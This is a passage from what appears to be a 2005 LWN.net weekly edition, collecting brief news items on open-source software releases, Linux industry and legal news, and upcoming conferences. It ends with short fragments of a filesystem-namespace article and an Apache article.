Rivendell v0.9.57 announcedVersion 0.9.57 of the Rivendell radio automation system has been announced. Changes include SuSE desktop integration, new icons, and bug fixes.
Business Applications Sequoia ERP v0.8.2 RC1 released (SourceForge)Version 0.8.2 RC1 of Sequoia ERP, a business Enterprise Resource and Planning application, has been announced. "The first candidate for Sequoia ERP v 0.8.2 has been released. This release candidate incorporates some incremental enhancements and bug fixes since the 0.8.1-stable release."
Tina POS 0.0.12 released (SourceForge)Version 0.0.12 of Tina POS has been released with several new features and bug fixes. "Tina POS is a point of sales application designed for touch screens. Supports ESC/POS ticket printers, customer displays and barcode scanners. Its multiuser and has a great backoffice with a product entry form, reports and charts."
Calendar Software WebCalendar 1.1 development update (SourceForge)A development version of WebCalendar 1.1 is available with an important security fix. "WebCalendar is a PHP-based calendar application that can be configured as a single-user calendar, a multi-user calendar for groups of users, or as an event calendar viewable by visitors. MySQL, PostgreSQL, Oracle, DB2, Interbase, MS SQL Server, or ODBC is required."
Desktop Environments GNOME Foundation board size referendum passesThe GNOME Foundation vote on the reduction of its board of directors from eleven to seven members was covered in LWN two weeks ago. The results are now in, and the issue has passed; there were 117 "yes" votes to 70 "no" votes.
GNOME Software AnnouncementsThe following new GNOME software has been announced this week:
KDE Software AnnouncementsThe following new KDE software has been announced this week:
Electronics Electric 8.03 releasedVersion 8.03 of Electric has been announced. "The Electric VLSI Design System is a framework for all computer-aided design and engineering work. The system understands MOS, Bipolar, schematics, printed circuitry, artwork, and many others. In addition, Electric contains design-rule checkers, simulators, generators (PLA, etc.), routers, a VHDL compiler, a compactor, network comparison, and other tools. Interpretive languages can be built-in (currently LISP and TCL are available). Current versions of Electric have been rewritten from C to Java." See the project page for download information.
wcalc 0.9 has been releasedVersion 0.9 of wcalc, a tool for the analysis and synthesis of transmission line structures, is available. "After 8 years in development and use among a fairly small group of people, I am pleased to announce that the first public release of wcalc is finally available. While wcalc is believed to be stable at this time, it has not received much field testing. Therefore I decided on calling this version 0.9. My intention is to collect feedback from users over the next few months and then make a 1.0 release after wcalc has seen some more widespread use."
Interoperability Wine Weekly NewsThe November 4, 2005 edition of the Wine Weekly News is available. Topics include: Another Beta Article, WineProbe - Part II, Multimonitor Support, Multiple App Support, Killing Wine Processes, Wine Eject, Linking Windows Libraries.
Mail Clients Mozilla Thunderbird 1.5 Release Candidate 1 Available (MozillaZine)Release candidate 1 for version 1.5 of the Mozilla Thunderbird email client is out. "Mozilla Thunderbird 1.5 Release Candidate 1 is intended to allow testers to ensure that there are no last-minute problems with the Thunderbird 1.5 code. There will be at least one more release candidate before the final launch of 1.5. In addition to fixing several bugs that came out of the Beta 2 testing cycle, 1.5 RC1 also includes support for saved search folders that can search across multiple accounts and support for message threads for single folder saved search folders."
Medical Applications FreeMED 0.8.1 Released (LinuxMedNews)Version 0.8.1 of the FreeMED medical practice management system has been announced. "New features include: Integrated PEAR and phpwebtools for ease of installation, New Quest Diagnostics HL7 lab interface for integrated results, Support for FQHC sliding scale system, Secure data warehousing architecture added, Initial French internationalization/translation added, Improved query maker support, Support for labs and results, New pluggable authentication system, and Improved messaging system."
Music Applications gmorgan 0.25 releasedVersion 0.25 of gmorgan, a rhythm station and organ synthesizer, is out with bug fixes, new features, and availability as a Debian package.
Musical MIDI Accompaniment 0.18 now availableBeta release 0.18 of MMA, the Musical MIDI Accompaniment generator, is out. "Included in this release: Enhancements to lyrics, macros, command line macro define, various bug fixes, and minor syntax changes."
Video Applications xjadeo 0.1.1 announcedVersion 0.1.1 of Xjadeo is out with build improvements, better documentation, and some new command line options. "Xjadeo is intented as a tool for composing soundtracks to video clips and is designed to use little system resources, even at the expense of video playing quality."
Web Browsers MPlayerplug-in 3.15 releasedVersion 3.14 of MPlayerplug-in, A Mozilla compatible plugin that plays online video, is out. Changes include the ability to seek by clicking on the progress bar, improvements to the Apple HD Trailer playback, and additional JavaScript Events.
Miscellaneous Comix 1.5 released (SourceForge)Version 1.5 of Comix, a GTK+ comic book viewer, is available. "With version 1.5 Comix takes a few more steps towards it's goal of being user-friendly and simple but still powerful and without taking the control away from the user."
Languages and Tools Caml Caml Weekly NewsThe November 8, 2005 edition of the Caml Weekly News is online with the latest Caml language articles.
Java GNU Classpath 0.19 releasedVersion 0.19 of GNU Classpath, a set of essential Java libraries, is out. Here are the release highlights: "Much more efficient painting for large Free Swing GUIs. Improved accessibility support. HttpURLConnection rewrite. Official CORBA VMCID assigned. Start of RMI over IIOP support. Qt4 support for OS-X. Much improved Free Swing Metal theme. Free Swing Demo includes theme switcher example (Metal, Ocean, GNU). JBoss now starts up and Jonas testsuite passes for 95%. Support for the javax.sound.midi framework and experimental DSSI and ALSA service providers. Early version of the popular StAX API. Now has 96% coverage of 1.4 API."
The Unofficial "Harmony, Licensing, the Universe and everything" FAQLeo Simons presents a new document: "The Unofficial "Harmony, Licensing, the Universe and everything" FAQ". Take a look for answers to all of your licensing questions about Harmony, an open-source Java implementation.
JSP What Is StrutsChuck Cavaness introduces Struts on O'Reilly. "Apache Struts is an open source Java framework used for building web applications based on the servlet and JavaServer Pages (JSP) technologies. It was created in 2000 by Craig R. McClanahan and has become the de facto standard framework for web applications in Java."
Python Dr. Dobb's Python-URL!The November 6, 2005 edition of Dr. Dobb's Python-URL! is online. Take a look for new Python language articles.
Dr. Dobb's Python-URL!The November 9, 2005 edition of Dr. Dobb's Python-URL! is online with the latest Python articles and resources.
Ruby Ruby Weekly NewsThe November 6th, 2005 edition of the Ruby Weekly News looks at the latest discussions from the ruby-talk mailing list.
Tcl/Tk Dr. Dobb's Tcl-URL!The November 2, 2005 edition of Dr. Dobb's Tcl-URL! is online with new Tcl/Tk articles and resources.
Dr. Dobb's Tcl-URL!The November 7, 2005 edition of Dr. Dobb's Tcl-URL! is online with the latest Tcl/Tk news and resources.
IDEs eric3 3.8.0 releasedVersion 3.8.0 of eric3, an IDE for Python and Ruby, has been announced. Changes include usability enhancements and bug fixes.
Miscellaneous Scriptorium code library 1.6 released (SourceForge)Version 1.6 of Scriptorium has been announced. "Scriptorium is a web-based code library that helps you reuse code you've already written by organizing it in one place, regardless of language. New in version 1.6 are localization support (French and Dutch language translations so far), the ability to attach comments to your snippets, and a new syntax highlighting engine. Plus the usual smattering of interface improvements and bug fixes."
XPlanner 0.7 beta 2 released (SourceForge)Version 0.7 beta 2 of XPlanner is available. "XPlanner is a web-based project planning and tracking tool for eXtreme Programming (XP) teams. XPlanner is implemented using Java, JSP, and Struts, and MySQL (user contributed support for other databases). XPlanner 0.7 provide many improvements."
Page editor: Forrest Cook Linux in the news Recommended Reading Getting to know the new Linux-based Nokia 770 'handlet' (Linux Journal)Linux Journal takes a look at the new Nokia 770 (Linux-based) tablet. "My min-report: it's very cool. Basically, it's a browser with lots of extra features. The wide 800 x 480 screen is pretty and very sharp. That resolution in a palm-sized device (5.5" x 3.1" x 0.7" with a 4.3" screen) means looking at itty-bitty (but very sharp) type, which is a strain for my old eyes. But fortunately the 770 comes with two ways (one involving a nice big rocker switch with a + and a -) to zoom the display, and another button for making the browser window full-screen."
More MA Shenanigans (Groklaw)Groklaw follows the latest news in Massachusetts' attempts at adopting the Open Document Format: "According to what I've just learned, an amendment to a piece of important Massachusetts legislation (an economic stimulus bill) was passed out of the Senate Ways & Means committee this afternoon. If it is adopted, it could at minimum drastically delay the effectiveness date of the ODF policy, and at worst, could roll back the Information and Technology Division's (ITD) action entirely. I can't confirm at this time the identity of the amendment's proponents, but I am told that the amendment will be debated in the State Senate on Thursday, so those who are behind the amendment will become visible at that point. The gist of the amendment would be to create a new four-person "task force" that would have the power to approve or block a wide variety of IT policy decisions in the Commonwealth -- and many provisions of the amendment map specifically to the ODF situation. . . ."
Trade Shows and Conferences OSBC proves open source and business go together (NewsForge)NewsForge reports on the first "east coast" Open Source Business Conference (OSBC), held in Newton, Massachusetts last week. "Conference attendees weren't there to learn about open source in the "What is this phenomenon?" sense but to learn better ways their businesses could profit or cut costs by using it. One thought I heard from several people was that we are seeing the start of an open source investment mini-bubble, and it's true that there were venture capitalists around, sniffing out potential deals with nascent companies. The VC presence wasn't as strong as it was at the Web 2.0 Conference in October, but it was stronger than I've seen it at any other IT-oriented conference since 2000."
Trolltech Developer Days in Munich (KDE.News)KDE.News covers the second annual Trolltech Developer Days. "Trolltech continues to grow at an impressive rate, they increased their staff from 80 to 140 employees in the last twelve months. A second round of fundraising, which brought $6.7 million of disposable money to the company, was recently completed. Trolltech has opened an office in China. And of course the long awaited Qt 4 was released. In the coming twelve months Trolltech will become a professional service organisation. They will develop new products that complement and expand the usage of Qt. A continued focus on making Qt easier to use, faster, leaner and better will be kept and it is expected that Qtopia will explode in the phone market."
Companies Google gives back to Oregon universities (NewsForge)NewsForge reports on Google donations to two universities in Oregon. "Google, having gotten where it is thanks in large part to open source software and development, is giving back to the community with a $350,000 grant to Oregon State and Portland State universities for their collaboration on the development, systems administration, and learning of open source software. Google was impressed with the efforts at the two Oregon schools, which are home to one of the premier open source education facilities and some of the industry's most advanced curricula, according to Google Open Source Program Manager Chris DiBona. He said that Google figured if the colleges' efforts were fruitful on their existing, limited budgets, a cash infusion would likely spur even more progress faster."
Felten on Sony's rootkit updateAs has been reported in a few places, SonyBMG and First4Internet have released a software update which is supposed to clear a system of the rootkit-like DRM they were caught shipping on CDs. Ed Felten is skeptical: "The update is more than 3.5 megabytes in size, and it appears to contain new versions of almost all the files included in the initial installation of the entire DRM system, as well as creating some new files. In short, they're not just taking away the rootkit-like function -- they're almost certainly adding things to the system as well. And once again, they're not disclosing what they're doing."
Linux Adoption Linux in Italian Schools, Part 4: Progetto 'Mottabit' (Linux Journal)Marco Fioretti reports on the use of free software in elementary schools in Motta di Costabissara, Italy. "A recent official report on FOSS in Italy says, among other things, "[the standard usage] of Free Software can be reproduced in elementary schools only with difficulty". Luckily, says Italian Linux activist Antonio Bernardi, "Nobody in Costabissara had read that report, and we hope they never do.""
Linux at Work It's unofficial: Microsoft bets business on Linux (Computerworld)Microsoft plans to deploy some Linux-based networking equipment, according to Computerworld. "Aruba Networks was selected to provide the networking equipment for what is considered to be one of the world's largest next-generation wireless LANs, serving more than 25,000 simultaneous users a day in some 60 countries. According to an Aruba press statement, Microsoft's new WLAN will be deployed in 277 buildings covering more than 17 million square feet using Aruba mobility controllers, mobility software and some 5000 wireless access points. What the press statement didn't mention is that Aruba mobility controllers run the Linux operating system which Microsoft has aggressively targeted as being inferior to Windows as part of its "Get the Facts" marketing campaign." (Thanks to Frankie D.)
Linux Answers Phone Makers' Call (BusinessWeek)Here's a lengthy Business Week article on the use of Linux in cellular phones. "'The open-source community is allowing us to take some thought leadership to influence the road map,' [Motorola manager Greg] Besio says. 'That doesn't happen with Microsoft.' He declines to state exactly what percentage of Motorola phones will eventually run on Linux. According to Gartner, the company has indicated that percentage could get as high as 80%."
Legal Moglen: open-source risks overblown (ZDNet)ZDNet covers a recent speech by FSF counsel Eben Moglen. ""The secret of the GPL was taking a small quantum of risk and putting it on the distributors," Moglen said. "The total risk could be brought close to zero. By contrast, the patent system still imposes risk on users of open-source software, a situation that that shows little chance of changing, he said. In particular, Moglen said that pharmaceutical companies, which have great political influence, will prevent significant reforms to the patent system."
The Copyright Chaos of Google Print (eWeek)eWeek wonders if Google Print breaks copyright laws or follows the fair-use principle. "If Google Print is allowed to proceed, the litigants foresee a world of copyright chaos, where people will freely steal material and authors will no longer be paid, destroying the very fabric of society. This is obviously an extreme view, one that fails to see the opportunity that an index of more than 20 million books can offer. Rather than be hurt, book sales may increase due to their exposure in the index. In fact, such an index may even revive long-forgotten or out-of-print texts."
Interviews Sebastian Kuegler (People Behind KDE)The People Behind KDE have an interview with Sebastian Kügler. "Profession: I'm doing research at the Radboud University of Nijmegen in the Netherlands on a European Software Quality standard. In a second project I'm working on for a living, I'm building a digital schoolyard to motivate secondary education students to become Open Source software developers." (Found on KDE.News)
Interview: Bob Young after Red Hat (NewsForge)NewsForge talks with Bob Young about life after Red Hat. "How did Young make the leap from Linux to self-publishing? Lulu.com actually has its roots in the short-lived Center for the Public Domain (CPD), a non-profit Young founded with Mark Ewing in 1999. The CPD's mission was to help combat the expansion of intellectual property laws that were, as Young put it, "the biggest single threat to the open source movement.""
Resources Linux Gazette #120The November 2005 Linux Gazette is out. This relatively thin issue includes articles on playing with an iPod, building a Linux-based answering machine, gcc, and more.
The Open Source WRT54G Story (Wi-Fi Planet)Wi-Fi Planet has put up a tutorial on alternative firmware for the Linux-based Linksys WRT54G router. "With the code in hand, developers learned exactly how to talk to the hardware inside and how to code any features the hardware could support. It has spawn[ed] a handful of open source firmware projects for the WRT54G that extend its capabilities, and reliability, far beyond what is expected from a cheap consumer-grade router."
Reviews MapFS makes its debut (NewsForge)NewsForge covers MapFS. "Designed to simplify the interaction and use of a Linux network, the MapFS module specifically offers "optimistic copy and write capabilities," allowing users to share a single virtual file system that appears to be read-only, but allows users to save changes to files by writing changes to their own systems rather than the original files."
A Beginning Look At MythTV (Linux Journal)Linux Journal takes a look at MythTV. "MythTV is a software package that lets you turn your Linux-based computer into a television and personal video recorder (PVR) by recording shows onto the hard disk. MythTV lets you select the TV shows you want to record by using an on-screen menu, pointing and clicking your way way through a schedule by show name or time."
Linux thumbnail viewers (Linux.com)Linux.com takes a look at thumbnail viewers. "Thumbnail viewers are utilities that let you quickly view or manipulate images. For instance, many let you display, rotate, and zoom images. Some also offer built-in slide show features -- though not at the level of presentation programs such as OpenOffice.org Impress. Here's an introduction to several common Linux thumbnail viewer programs."
What Is TurboGears (O'ReillyNet)The O'Reilly Network introduces TurboGears and includes an interview with its author. "But I think there's a real shift happening in corporate America right now with regard to enterprise-level development. They're finally realizing that they don't have to do things that take thousands of lines of XML configuration and tens of thousands of lines of code when they can rely on smaller and more agile frameworks that are just as capable for the common case -- frameworks like Rails and TurboGears."
Miscellaneous Formation of KDE Marketing Working Group (KDE.News)KDE.News covers the creation of the new KDE Marketing Working Group. "The KDE Marketing Working Group has formed, after being proposed by the KDE community at aKademy 2005, with the aim of improving KDE's marketing and promotion efforts. Martijn Klingens, Sebastian Kügler and Wade Olson will be taking the lead in coordinating and implementing new practices, such as promoting releases more widely and running more exciting events booths. An initial charter has been created and approved by KDE e.V with the long-term goal of "coherent and strategic messaging around KDE"."
Linux Standard Base approved as international standard (NewsForge)NewsForge reports that the Linux Standard Base is slated to become an ISO standard. "An international organization is preparing to publish its approval of the Linux Standard Base (LSB) as a worldwide standard, which could potentially lead to easier migration to and software development for Linux. The nonprofit Free Standards Group (FSG) announced at the Open Source Business Conference in Boston this week that the International Standardization Organization (ISO) and the International Electrotechnical Commission (IEC) unanimously approved the FSG's Linux Standard Base Core Specification 2.0.1 and is expected to publish the standard in December."
Page editor: Forrest Cook Announcements Non-Commercial announcements EFF: File-Sharing Lawsuits Fail to Deter P2P DownloadersThe Electronic Frontier Foundation has sent out a Media Release concerning the effectiveness of lawsuits against users of peer-to-peer technology. ""Out of the millions of people who download music from P2P systems every day, the RIAA arbitrarily picks a few hundred to sue every month," said EFF Senior Staff Attorney Fred von Lohmann. "Many of those families suffer severe financial hardship. But despite all the publicity, studies show that P2P usage is increasing instead of decreasing.""
Commercial announcements CA spins off IngresComputer Associates has announced that the Ingres relational database has been spun off into a separate corporation. "As an independent entity, Ingres will focus exclusively on the development dynamics and business opportunities associated with the open source market. The divestiture will also enable CA to focus on its core strategic markets, which include systems and security management for the enterprise." The new company plans to become "the leading open source database supplier."
Ubuntu certified for IBM's DB2Canonical Ltd. has announced that Ubuntu has achieved IBM certification that DB2 Universal Database for Linux operates in the Ubuntu environment. In addition to the core Ubuntu system, the certification includes the KDE-based Kubuntu and the education focused Edubuntu.
LPI appoints Regional Manager for Latin AmericaThe Linux Professional Institute has announced the appointment of Jose Carlos Rodrigues Gouveia as the Regional Manager for Latin America.
Micro Center Computer Stores Across the US Devote Floor Space, Staff to Desktop LinuxMicro Center and Linspire, Inc. have announced that Micro Center stores will have new desktop Linux sections within each of its locations to meet growing consumer demand. The Linux section of the store will feature desktop Linux software products, pre-installed desktops and laptops (with Linspire), and Linux-compatible peripherals. Micro Center operates 19 stores in the US.
Nokia 770 Internet Tablet Starts ShippingNokia has announced the first deliveries of its Nokia 770 terminal product. "The Nokia 770 Internet Tablet features an impressive high-resolution widescreen display (4.13") with zoom and on-screen keyboard, ideal for viewing online content. Aside from Wi-Fi, the device can also connect to the Internet utilising Bluetooth wireless technology via a compatible mobile device. The device runs on Linux based Nokia Internet Tablet 2005 software edition which is based on popular desktop Linux and Open Source technologies."
VA Linux releases SMTPGuard anti-spam softwareVA Linux has announced its new SMTPGuard Anti-Spam software. "VA Linux Systems Japan K.K. (VA Linux), a leading provider of Linux solutions for the telecommunications and enterprise systems markets, today announced the release of 'SMTPGuard', an Open Source, anti-SPAM software for MTAs, which can eliminate unsolicited e-mails (SPAM) flexibly. SMTPGuard is a part of 'VA FMS' (VA FlexMessaging Solution), VA Linux's total messaging solution."
New Books Nessus, Snort, and Ethereal Power Tools--latest release from SyngressSyngress has published the book Nessus, Snort, & Ethereal Power Tools by Jay Beale.
Open Sources 2.0: The Continuing Evolution - O'Reilly's Latest ReleaseO'Reilly has published the book Open Sources 2.0: The Continuing Evolution by Chris DiBona, Danese Cooper, and Mark Stone.
Resources FSF Europe NewsletterThe November 7, 2005 edition of the Free Software Foundation Europe Newsletter is online with the latest FSFE news.
Towards Linux Desktop ComfortDan Kegel has put together his thoughts on what the Linux desktop needs to support the "average Joe". "Here are a few areas where Linux's comfort level needs to be raised before it can thrive on the desktop, plus links to ongoing work in these areas: Rapid Startup; Usability; Accessibility; Pre-Adaptation; Legacy Software Support; Fragmentation; Availability; Patent and Copyright Fears; Peer Support; Wireless; Plugability; Dogfood."
Contests and Awards Firefox 100M Downloads Image Contest Winners (MozillaZine)MozillaZine covers the winners of the Firefox 100 Million Downloads Celebration Image contest. "Asa Dotzler writes: "We've awarded prizes to the best photos submitted in the Firefox 100 Million Downloads Celebration Image contest." Visitors to Spread Firefox were asked to send photographs of themselves posing with the 100 million Firefox downloads celebration page. Over 200 photos were submitted."
Extend Firefox Contest Announced (MozillaZine)MozillaZine has announced the Extend Firefox contest. "The Extend Firefox contest, sponsored by Alienware and O'Reilly, asks entrants to submit new or upgraded extensions for Firefox 1.5, with extensions that take advantage of new features in 1.5 particularly welcome. Prizes will be awarded in eleven categories".
Surveys KOffice Meets the Users (KDE.News)KDE.News queries Koffice users. "Are you using KOffice? What are you using KOffice for? Why did you decide to use KOffice? What are your main problems? We want to know who uses KOffice and we are especially interested in companies and people using KOffice applications in the course of their business. We have done usability testing with OpenUsability on some of the KOffice programs and will be working more with them. Now we want to reach our users directly and ask them what they think."
Upcoming Events Alliance Developer DaysA series of Itanium Developer Days will be held in Northern California, Japan, and Germany from November through February. "These two and a half day events include an Itanium-focused general session as well as hands on Microsoft Windows and Linux application porting labs. Alliance member representatives from Founding Sponsor companies will provide the best technical assistance and porting tools available to enable port completions at the event."
Black Hat Federal and Europe CFP and Registration now openTwo calls for papers have gone out for the Black Hat Federal 2006 and Black Hat Europe 2006 security conferences. The US event will take place in Washington, D.C. on January 23-26, 2006 and the European event will take place in Amsterdam on February 28-March 3, 2006.
EUSec London CFP and PacSec Tokyo announcementsA call for papers has gone out for EUSecWest/core06, the event takes place on February 20-21, 2006 in London, England.Also, the PacSec/core05 Conference will take place in Tokyo, Japan on November 14-16, 2005.
Security Highlights USENIX LISA ConferenceUSENIX has sent out a press release about the 19th Large Installation System Administration (LISA) Conference. "With security a priority for system and network administrators, LISA '05 offers a broad selection of training classes on security-related topics including Linux security and network incidence response; refereed papers showcasing state-of-the-art work on security and access controls, and invited talks by luminaries on subjects ranging from vulnerabilities through wireless security to firewalls." The event takes place on December 4-9, 2005 in San Diego, CA.
2005 Open Source ForumThe 2005 Open Source Forum will be held on December 13-15, 2005 at the RiverCentre in St. Paul, Minnesota. "The Open Source Forum is an annual educational and collaborative event designed to bring together the public and private sectors, associations, educators and individuals involved in the research, development, education and deployment of open source software."
Open Source Orgs Invited to Fourth Annual SoCal Linux Expo (LinuxMedNews)LinuxMedNews promotes the SCALE conference. "Looking for an effective way to tell your product story and demonstrate its latest features to both new users as well as Linux veterans? Join other prestigious members of the Open Source community as they combine forces at the preeminent Linux exposition in the West. The fourth annual Southern California Linux Expo brings together businesses, academic institutions and the Linux community in Los Angeles on February 11-12, 2006."
Registration Opens for O'Reilly Emerging Telephony ConferenceO'Reilly has announced the registration for the first O'Reilly Emerging Telephony Conference. The event will take place on January 24-26, 2006 at the San Francisco Airport Marriott in San Francisco, CA.
Events: November 10, 2005 - January 5, 2006
Web sites The expanding gimp web (GnomeDesktop)GnomeDesktop.org mentions the latest new web sites for the GNU Image Manipulation Program (GIMP). "paths.gimp.org is a collection of news from the world of free art software. in particular from the people who are going to be attending the Libre Graphics Meeting next year. layers.gimp.org is a collection of GIMP developers with blogs. pixels.gimp.org is a collection of GIMP users with blogs."
Audio and Video programs The Community of Web 2.0 (O'ReillyNet)O'Reilly has announced a new podcast program. "In this 48-minute audio program from the Web 2.0 conference, Tim O'Reilly speaks with Sun Microsystems COO Jonathan Schwartz and Mozilla Foundation president Mitchell Baker about developer communities, distribution, architectures and expandability, and the value of open source."
Page editor: Forrest Cook
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![[simple tree]](/images/ns/kernel/subtrees1.png)
Imagine, for starters, a simple filesystem hierarchy which looks something
like the diagram at the right. Clearly, a few directories have been left
out for simplicity. The only unusual thing is that a couple of directories
have been created under /subtree for users "alice" and "bob". We
would like to use those directories as the root for each user's own private
view of the filesystem.
![[Apache]](/images/ns/asf_logo.png){kind=logo}
Version 2 of Apache was created several years ago as an effort to
improve and restructure the popular web server, which had become
somewhat overloaded with features and modifications.
The current stable release of Apache is